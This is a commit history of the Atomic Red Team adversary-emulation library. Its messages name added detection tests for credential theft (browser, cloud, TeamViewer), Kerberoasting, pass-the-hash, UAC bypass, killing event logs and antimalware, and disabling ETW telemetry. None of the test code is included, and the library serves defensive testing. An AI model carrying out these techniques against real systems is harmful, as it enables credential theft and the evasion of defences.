Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn

* Update T1555.yaml

added name: powershell

* Update T1555.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 19:20:49 -06:00
Atomic Red Team doc generator 15fd6519a6 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-13 00:48:10 +00:00
Atomic Red Team GUID generator 2d71495086 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-13 00:48:05 +00:00
tlor89 2174daa254 Update T1555.004.yaml (#1964)
Loot local Credentials - Invoke-WCMDump technique via function of WinPwn
2022-05-12 18:47:41 -06:00
Atomic Red Team doc generator cb9c677fa0 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:56:33 +00:00
Atomic Red Team GUID generator 677a1b13ef Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:56:27 +00:00
tlor89 576d3b2880 Update T1055.001.yaml (#1950)
Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:55:59 -06:00
Atomic Red Team doc generator 9906df5fe8 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:54:23 +00:00
Atomic Red Team GUID generator e1f3b35ce2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:54:17 +00:00
tlor89 7f14e048e0 Update T1082.yaml (#1951)
* Update T1082.yaml

 PowerSharpPack - Seatbelt technique via function of WinPwn performing Local Privileges escalation

* Update T1082.yaml

* Update T1082.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:53:54 -06:00
Atomic Red Team doc generator 36a7bbe95f Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:51:19 +00:00
Atomic Red Team GUID generator ff1cdc0f47 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:51:14 +00:00
tlor89 3b9b4be1af Update T1110.003.yaml (#1952)
DomainPasswordSpray Attacks technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:50:49 -06:00
Atomic Red Team doc generator 6085787ee9 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:40:31 +00:00
Atomic Red Team GUID generator 1e979945fe Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:40:25 +00:00
tlor89 ede5da3745 Update T1134.002.yaml (#1953)
Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:39:59 -06:00
Atomic Red Team doc generator 175a6c3311 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:38:30 +00:00
Atomic Red Team GUID generator efac21e57a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:38:24 +00:00
tlor89 f6f45a0030 Update T1552.001.yaml (#1954)
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:37:55 -06:00
Atomic Red Team doc generator 139749aa09 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:36:46 +00:00
Atomic Red Team GUID generator c07f8d9c21 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:36:41 +00:00
tlor89 4530cd085e Update T1558.003.yaml (#1955)
* Update T1558.003.yaml

Kerberoasting technique via function of WinPwn
PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

* Update T1558.003.yaml

update fix

* Update T1558.003.yaml

final fix/update

* Update T1558.003.yaml

update and fixed

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:36:14 -06:00
Atomic Red Team doc generator 88d3944f20 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:33:52 +00:00
Atomic Red Team GUID generator ebd9e6443f Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:33:47 +00:00
tlor89 8a910c5ed2 Update T1558.004.yaml (#1961)
PowerSharpPack - Kerberoasting Using Rubeus asreproast technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:33:22 -06:00
Atomic Red Team doc generator 3ca876233d Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 23:32:46 +00:00
Atomic Red Team GUID generator da6c2b191b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 23:32:41 +00:00
tlor89 9b66e99946 Update T1082.yaml (#1962)
* Update T1082.yaml

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn

* Update T1082.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 17:32:15 -06:00
Atomic Red Team doc generator bcd4726426 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:54:51 +00:00
Atomic Red Team GUID generator e6e2b750d4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:54:46 +00:00
tlor89 04edc6cdc1 Update T1562.001.yaml (#1956)
Kill the event log services for stealth via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 16:54:22 -06:00
Atomic Red Team doc generator d2501a2832 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:48:37 +00:00
Atomic Red Team GUID generator c288ca084b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:48:32 +00:00
tlor89 70c82b2c4a Update T1082.yaml (#1958)
PowerSharpPack - Watson searching for missing windows patches  technique via function of WinPwn

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 16:48:10 -06:00
Atomic Red Team doc generator 90fab673fc Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:47:25 +00:00
Atomic Red Team GUID generator 6b768e8e12 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:47:20 +00:00
tlor89 2fd693ca91 Update T1187.yaml (#1960)
Added PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn
2022-05-12 16:46:53 -06:00
Atomic Red Team doc generator e7611b652c Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:44:51 +00:00
Atomic Red Team GUID generator 1a55e429f4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:44:46 +00:00
tlor89 e7d9f85159 T1620 - Reflective Code Loading (#1959)
* Create T1620.yaml

* Update T1620.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 16:44:05 -06:00
Atomic Red Team doc generator 0a82610b35 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:15:17 +00:00
Atomic Red Team GUID generator 05cc0bcec9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:15:12 +00:00
tlor89 8508499839 T1106 (#1944)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 16:14:44 -06:00
Atomic Red Team doc generator b0a71062ef Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 22:12:16 +00:00
Atomic Red Team GUID generator 3e9f3e5c6a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 22:12:11 +00:00
tlor89 7f1a2652a5 T1078.003 (#1942)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 16:10:23 -06:00
Atomic Red Team doc generator a971545b2a Generated docs from job=generate-docs branch=master [ci skip] 2022-05-12 00:45:32 +00:00
Atomic Red Team GUID generator f45cfaa33a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-12 00:45:27 +00:00
tlor89 ff1f81472c WinPwn Bypass UAC (#1941)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-11 18:45:03 -06:00
Atomic Red Team doc generator a9530210e6 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 20:50:31 +00:00
Atomic Red Team GUID generator 2ff5833042 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 20:50:25 +00:00
dwhite9 f2314c292d Added discovery atomic to collect general domain information including (#1940)
users. Sourced from WinPwn script.

**Details**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 14:49:59 -06:00
Atomic Red Team doc generator 5e6fa6feda Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 20:45:56 +00:00
Atomic Red Team GUID generator 870f1a51d8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 20:45:52 +00:00
dwhite9 d622ff63b0 Added printercheck test sourced from WinPwn script. (#1939)
**Details**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 14:45:30 -06:00
Atomic Red Team doc generator 48b5977afd Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 20:43:59 +00:00
Atomic Red Team GUID generator 81681bd735 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 20:43:54 +00:00
frack113 9a3d6d4b5e Add lolbin test (#1933)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 14:43:25 -06:00
Atomic Red Team doc generator 03f3e8392a Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 16:36:40 +00:00
Atomic Red Team GUID generator adb646ae82 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 16:36:35 +00:00
dwhite9 7a915d3af1 Added network share enumeration test sourced from WinPwn script. (#1938)
**Details**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 10:36:08 -06:00
Atomic Red Team doc generator 619f364ed4 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 16:34:44 +00:00
Atomic Red Team GUID generator 249c34e97a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 16:34:39 +00:00
dwhite9 c2527d32f1 Added BrowserPwn test sourced from WinPwn script. (#1937)
**Details**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
2022-05-10 10:34:11 -06:00
Atomic Red Team doc generator 7a85db6711 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 14:42:00 +00:00
Atomic Red Team GUID generator 30a8f42824 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 14:41:55 +00:00
Leo Verlod 852fb8fda7 Adding T1555.003 Test 10 - Stage Popular Credential Files for Exfiltration (#1921)
* Adding T1555.003 Test 10 - Stage Popular Credential Files for Exfiltration

* make hyperlinks via markdown syntax

* Making requested changes to T1555.003 Test 10

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 08:41:27 -06:00
Atomic Red Team doc generator 985fc5a85a Generated docs from job=generate-docs branch=master [ci skip] 2022-05-10 14:38:48 +00:00
Atomic Red Team GUID generator a0ca031612 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-10 14:38:43 +00:00
Leo Verlod 7ca06f5892 Adding T1105 Test 21 - MAZE Propagation (#1918)
* Adding T1105 Test 21 - MAZE Propagation

* Making requested changes to T1105 MAZE Propagation Script

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-10 08:38:16 -06:00
Adam Mashinchi a304d713a3 Update CODE_OF_CONDUCT.md (#1934)
Remove Slack from CoC contacts.
2022-05-10 08:31:53 -06:00
Atomic Red Team doc generator 8283dad675 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-08 02:06:14 +00:00
Atomic Red Team GUID generator 17193e89b9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-08 02:06:09 +00:00
dwhite9 2a482919b8 Added GPO Discovery tests sourced from WinPwn script. (#1931)
Details:
https://github.com/S3cur3Th1sSh1t/WinPwn/

Testing:
Tested on Windows 10 VM

Co-authored-by: dwhite9 <d0w019h@wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-07 20:05:39 -06:00
Atomic Red Team doc generator 5289ef6887 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-08 02:04:19 +00:00
Atomic Red Team GUID generator e39bbd9a3d Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-08 02:04:13 +00:00
dwhite9 549508bf34 Added Software discovery tests sourced from WinPwn script. (#1932)
**Details**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing**
Tested on Windows 10 VM

Co-authored-by: dwhite9 <d0w019h@wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-07 20:03:46 -06:00
Atomic Red Team doc generator f863bcc3ca Generated docs from job=generate-docs branch=master [ci skip] 2022-05-08 02:02:21 +00:00
Atomic Red Team GUID generator 3022fe0666 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-08 02:02:15 +00:00
dwhite9 f567ca01a1 T1046 - Added Service Scanning tests sourced from WinPwn script. (#1930)
* Added Service Scanning tests sourced from WinPwn script.

Details:
https://github.com/S3cur3Th1sSh1t/WinPwn/

Testing:
Tested on Windows 10 VM

* make timeout comment generic to all execution frameworks.

* typo

Co-authored-by: dwhite9 <d0w019h@wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-07 20:01:47 -06:00
Atomic Red Team doc generator 6398d68728 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-07 02:03:39 +00:00
Atomic Red Team GUID generator f6ef11a01b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-07 02:03:34 +00:00
dwhite9 0b1b92355a Adding Discovery Atomics sourced from WinPwn Script (#1928)
**Details:**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing:**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-06 20:03:13 -06:00
Atomic Red Team doc generator 1ef5d7a51d Generated docs from job=generate-docs branch=master [ci skip] 2022-05-07 02:01:48 +00:00
Atomic Red Team GUID generator b44d40505b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-07 02:01:42 +00:00
dwhite9 9e991e368b Adding Credential Discovery Atomics sourced from WinPwn Script (#1929)
**Details:**
https://github.com/S3cur3Th1sSh1t/WinPwn/

**Testing:**
Tested on Windows 10 VM

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
2022-05-06 20:01:08 -06:00
BlueDragon-01 e54b9f3d3a Adding LNK file for test 10 (#1925)
* Create test10.lnk

* Add files via upload

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-05 23:44:01 -06:00
Atomic Red Team doc generator a5ca285de1 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-06 04:43:44 +00:00
Atomic Red Team GUID generator 5f77bdd0c5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-06 04:43:39 +00:00
BlueDragon-01 073cc6134b Add LNK Atomic (#1924) 2022-05-05 22:43:15 -06:00
Atomic Red Team doc generator ffb8cda982 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-01 05:11:40 +00:00
Atomic Red Team GUID generator 0bf889be40 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-01 05:11:34 +00:00
Jesse Moore 4e0018104e Challenge bounty-T1555.003 Linux Dump Creds Browser (#1917)
* For Challenge and cool Linux Browser cred dump T1555.003

* ChallengeBounty Linux Browser Creds Dump T1555.003 with Prompt
2022-04-30 23:11:02 -06:00
Atomic Red Team doc generator a5d645d806 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-30 11:39:02 +00:00
frack113 2d2818d65f Fix all invalid char (#1914) 2022-04-30 05:38:32 -06:00
Atomic Red Team doc generator a6f3763249 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-30 01:44:53 +00:00
Atomic Red Team GUID generator c99b1399ec Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-30 01:44:47 +00:00
Jorge Orchilles e91928c7e1 Add Rundll32 with desk.cpl (#1912)
* Update T1218.011.yaml

Add Rundll32 with desk.cpl

* Update T1218.011.yaml

* Update T1218.011.yaml

* Update T1218.011.yaml

* Update T1218.011.yaml

* Update T1218.011.yaml
2022-04-29 19:44:18 -06:00
Atomic Red Team doc generator 09cef80231 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-29 21:21:26 +00:00
Atomic Red Team GUID generator afa5987cd9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-29 21:21:20 +00:00
Jorge Orchilles 19e2814e3c Adding System Language Discovery (#1906)
* Create T1553.005

* Create T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Updated T1553.005

* Merging

* Create T1614.001.yaml

* Update T1614.001.yaml

* Update T1614.001.yaml

* Update T1614.001.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-29 15:20:59 -06:00
Atomic Red Team doc generator a0c2520962 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-29 21:19:24 +00:00
Atomic Red Team GUID generator 389f4d13f0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-29 21:19:19 +00:00
tccontre 20e304c516 enumeration of active directory organization unit and root domain (#1907)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1087.002.yaml

* Update T1087.002.yaml

* Update T1087.002.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-29 15:18:53 -06:00
Atomic Red Team doc generator a082fb047a Generated docs from job=generate-docs branch=master [ci skip] 2022-04-29 21:06:05 +00:00
Atomic Red Team GUID generator 238ff5b80a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-29 21:06:00 +00:00
Mohammed Hassan 8b57f31fc4 Update T1007.yaml (#1909)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-29 15:05:33 -06:00
Adam Mashinchi 988675b98b Merge pull request #1911 from redcanaryco/testest
Empty-Commit
2022-04-29 09:36:04 -07:00
d1vious c4b6a04182 Empty-Commit 2022-04-29 12:35:00 -04:00
Atomic Red Team doc generator 8c3b3277a6 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:42:41 +00:00
frack113 531dc622ef T1555.003 Test 8 Add python prereq (#1883)
* Add python prereq

* typo fix

Co-authored-by: Jose Enrique Hernandez <josehelps@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:42:11 -06:00
Atomic Red Team doc generator ab5e560865 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:38:56 +00:00
Atomic Red Team GUID generator 3b7d1a9d19 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:38:52 +00:00
Rich5 da3488b3b7 Added Invoke-WMIExec Pass the Hash (#1896)
* Added Invoke-WMIExec Pass the Hash

* Update T1550.002.yaml

Updated with permanent link

Co-authored-by: Richard Kelley <richard.kelley@qomplx.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:38:25 -06:00
Atomic Red Team doc generator b194729422 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:37:14 +00:00
Atomic Red Team GUID generator 22cfe0ad49 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:37:10 +00:00
Rich5 e51a12089e Added Crafting Active Directory silver tickets with mimikatz (#1897)
* Added Crafting Active Directory silver tickets with mimikatz

* Update T1558.002.yaml

Co-authored-by: Richard Kelley <richard.kelley@qomplx.com>
Co-authored-by: Jose Enrique Hernandez <josehelps@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:36:42 -06:00
Atomic Red Team doc generator 667cfa7daa Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:34:38 +00:00
Atomic Red Team GUID generator 96fb67db9f Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:34:33 +00:00
Rich5 0edf9b8609 Added Injection SID-History with mimikatz (#1898)
* Added Injection SID-History with mimikatz

* Update T1134.005.yaml

Changed elevation_required to true

* remove guid

Co-authored-by: Richard Kelley <richard.kelley@qomplx.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:34:07 -06:00
Atomic Red Team doc generator dd97f407ad Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:22:28 +00:00
Atomic Red Team GUID generator 292fcfab98 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:22:24 +00:00
Rich5 53d54747ec Added Password Change on Directory Service Restore Mode (DSRM) Account (#1899)
* Added Password Change on Directory Service Restore Mode (DSRM) Account

* remove guid so unique one can be auto-assigned

Co-authored-by: Richard Kelley <richard.kelley@qomplx.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:21:55 -06:00
Atomic Red Team doc generator c7417ac40b Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:17:34 +00:00
Atomic Red Team GUID generator 04913e6441 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:17:28 +00:00
Leo Verlod 1e9f1a4c38 Adding T1539 Test 2 - Steal Chrome Cookies (#1901)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:17:03 -06:00
Atomic Red Team doc generator e406fe0a0f Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:16:26 +00:00
Jathan-McDaniel 4e7044e077 T1055.001 improvement (#1902)
Co-authored-by: McDaniel <jmcdan@NTI.local>
Co-authored-by: Jose Enrique Hernandez <josehelps@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:15:57 -06:00
Atomic Red Team doc generator 724cb3f50d Generated docs from job=generate-docs branch=master [ci skip] 2022-04-28 01:14:49 +00:00
Atomic Red Team GUID generator b196333caf Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-28 01:14:45 +00:00
David McKennirey 0ddf5d32aa Add Atomic tests for disabling .NET ETW tracing (#1903)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-27 19:14:22 -06:00
Jose Enrique Hernandez d5dea0d03f minor adjustment to how workflows are triggered (#1905) 2022-04-27 19:13:33 -06:00
Atomic Red Team doc generator db4ca085fc Generated docs from job=generate-docs branch=master [ci skip] 2022-04-27 17:08:17 +00:00
Atomic Red Team GUID generator 94fb215b94 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-27 17:08:13 +00:00
zspadoni28 ac8cd38038 Adding T1562.006 Test Number 3 (#1900)
Adding test #3 to simulate the removal of the Powershell provider ETW telemetry source.
2022-04-27 11:07:43 -06:00
Atomic Red Team doc generator 7fa5d45acd Generated docs from job=generate-docs branch=master [ci skip] 2022-04-26 21:46:46 +00:00
Atomic Red Team GUID generator 00dd1f82a3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-26 21:46:41 +00:00
Adam Mashinchi 7ab002b355 Merge pull request #1892 from jovial7/patch-4
Add new test
2022-04-26 14:46:16 -07:00
Jose Enrique Hernandez 154ad8eeed Merge branch 'master' into patch-4 2022-04-26 17:43:18 -04:00
Atomic Red Team doc generator 059297cef5 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-26 21:42:55 +00:00
Atomic Red Team GUID generator 30d17c913b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-04-26 21:42:51 +00:00
Adam Mashinchi 64ccef52c2 Merge pull request #1885 from jessefmoore/T1615jesseee
This is for the Challenge Bounty -Group Policy Discovery on Windows
2022-04-26 14:42:30 -07:00
Jose Enrique Hernandez 7ea76fd811 Merge branch 'master' into T1615jesseee 2022-04-26 17:37:30 -04:00
Jose Enrique Hernandez 6eec2463d2 Merge branch 'master' into patch-4 2022-04-26 17:35:20 -04:00
Jose Enrique Hernandez 5acc6a23a1 Merge pull request #1895 from redcanaryco/updating_badge
updating the badge
2022-04-26 17:32:04 -04:00
Jose Enrique Hernandez 8b7169cce6 Update README.md 2022-04-26 17:30:26 -04:00
d1vious c50a2009f7 updating the badge 2022-04-26 17:27:49 -04:00
Jose Enrique Hernandez e7ec519b53 Merge pull request #1894 from redcanaryco/dummy
Empty-Commit
2022-04-26 17:14:50 -04:00
d1vious 6173d5a1bf Empty-Commit 2022-04-26 17:12:23 -04:00
Atomic Red Team doc generator 83b0409004 Generated docs from job=generate-docs branch=master [ci skip] 2022-04-26 20:43:33 +00:00
Jose Enrique Hernandez d09df5ad66 Merge pull request #1893 from redcanaryco/ci_fix
updating to use secrets
2022-04-26 16:43:00 -04:00
Jose Enrique Hernandez 877708a4b1 Merge branch 'master' into ci_fix 2022-04-26 16:41:33 -04:00
d1vious 554a059d2b updating to use secrets 2022-04-26 16:40:43 -04:00
Carrie Roberts 619b57ab6d Merge branch 'master' into T1615jesseee 2022-04-26 13:47:44 -06:00
jovial7 1f56b44eb4 update execution command 2022-04-26 13:22:02 -05:00
Carrie Roberts b9dc4d420e Merge branch 'master' into patch-4 2022-04-26 10:50:38 -06:00
Jose Enrique Hernandez 6a3e340c3d Merge pull request #1891 from redcanaryco/clr2of8-patch-14
use raw url so you get a functional script
2022-04-26 12:46:17 -04:00
jovial7 4e6ac8d945 Add new test
New test to Kill antimalware protected processes using Backstab
2022-04-26 11:45:58 -05:00
Carrie Roberts ab620dbbf3 use raw url so you get a functional script 2022-04-26 10:44:23 -06:00
Jose Enrique Hernandez eaab79e13f Merge pull request #1890 from redcanaryco/ci_fix
force push
2022-04-26 12:24:17 -04:00
Carrie Roberts cd489de31c Merge branch 'master' into T1615jesseee 2022-04-25 17:32:32 -06:00
d1vious dd6b884318 force push 2022-04-25 18:41:20 -04:00
d1vious a8f68cf320 Merge branch 'master' of github.com:redcanaryco/atomic-red-team 2022-04-25 18:21:47 -04:00
d1vious d18280f981 fixing error 2022-04-25 18:21:25 -04:00
Jose Enrique Hernandez 22bf27333d Merge pull request #1889 from redcanaryco/ci_fix
removing persistence of creds
2022-04-25 18:03:23 -04:00
d1vious a7f898a298 removing persistence 2022-04-25 17:44:21 -04:00
Jose Enrique Hernandez 3ad48d0ef0 Merge pull request #1888 from redcanaryco/test
testing
2022-04-25 16:58:48 -04:00
d1vious 09f1ad0c01 testing 2022-04-25 16:53:01 -04:00
Jose Enrique Hernandez 00e90acead Merge pull request #1887 from redcanaryco/moving_ci_to_github
updating usernames
2022-04-25 16:46:57 -04:00
d1vious b09168f3d4 updating usernames 2022-04-25 16:45:06 -04:00
Jose Enrique Hernandez 7b7a0bd07e Merge pull request #1886 from redcanaryco/moving_ci_to_github
Moving ci to GitHub
2022-04-25 16:35:57 -04:00
d1vious baa867efb2 fixing syntax error 2022-04-25 16:33:38 -04:00
Jose Enrique Hernandez 822df4085e Merge branch 'master' into moving_ci_to_github 2022-04-25 16:32:09 -04:00
d1vious 964b949e4e moving circleci out 2022-04-25 15:01:31 -04:00
Jesse Moore aa18e31b48 This is for the Challenge Bounty -Group Policy Discovery on Windows 2022-04-24 20:41:07 -07:00
CircleCI Atomic Red Team doc generator e961f7eaef Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-22 13:55:19 +00:00
Swapnil 7674d89a85 a quick fix for a non-conformant variable (#1881)
* a quick fix for a non-conformant variable

* Update T1574.006.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-22 07:54:55 -06:00
CircleCI Atomic Red Team doc generator 696325f10a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-21 23:09:42 +00:00
Swapnil d0fe7eb07f Fix Test for T1027.004 (#1870)
* Fix Test for T1027.004

Updated the input files corresponding to each test to right extension
Changed the executor from powershell to sh

* Fix get_prereq_commands

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-21 17:09:17 -06:00
CircleCI Atomic Red Team doc generator a089e2f7ec Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-20 02:40:38 +00:00
CircleCI Atomic Red Team GUID generator 36248625a9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-20 02:40:32 +00:00
Leo Verlod ecf15d4e60 Adding T1219 Test 7 - RemotePC Executable Ran (#1879)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-04-19 20:40:09 -06:00
CircleCI Atomic Red Team doc generator a318c6135b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-04-20 02:37:47 +00:00
abulyaev 0e67932ccf T1546.012: change target_binary path (#1878)
Co-authored-by: abuly <abulyaev@yan.ru>
2022-04-19 20:37:22 -06:00
Jose Enrique Hernandez ef28428d73 minor_ci_fix (#1877) 2022-04-19 10:58:42 -06:00
Adam Mashinchi b234be5e8d Update CODE_OF_CONDUCT.md (#1876)
Update reporting information.
2022-04-19 09:14:55 -06:00
Jose Enrique Hernandez 5f7686485d minor updates to ci (#1875)
fixes current failing errors
2022-04-18 18:14:33 -06:00
Jose Enrique Hernandez 3c8a6bb786 minor updates to ci (#1874)
fixes current failing errors
2022-04-18 18:08:38 -06:00
Jose Enrique Hernandez b0f9a3ee0a minor updates to ci (#1873)
fixes current failing errors
2022-04-18 18:06:37 -06:00
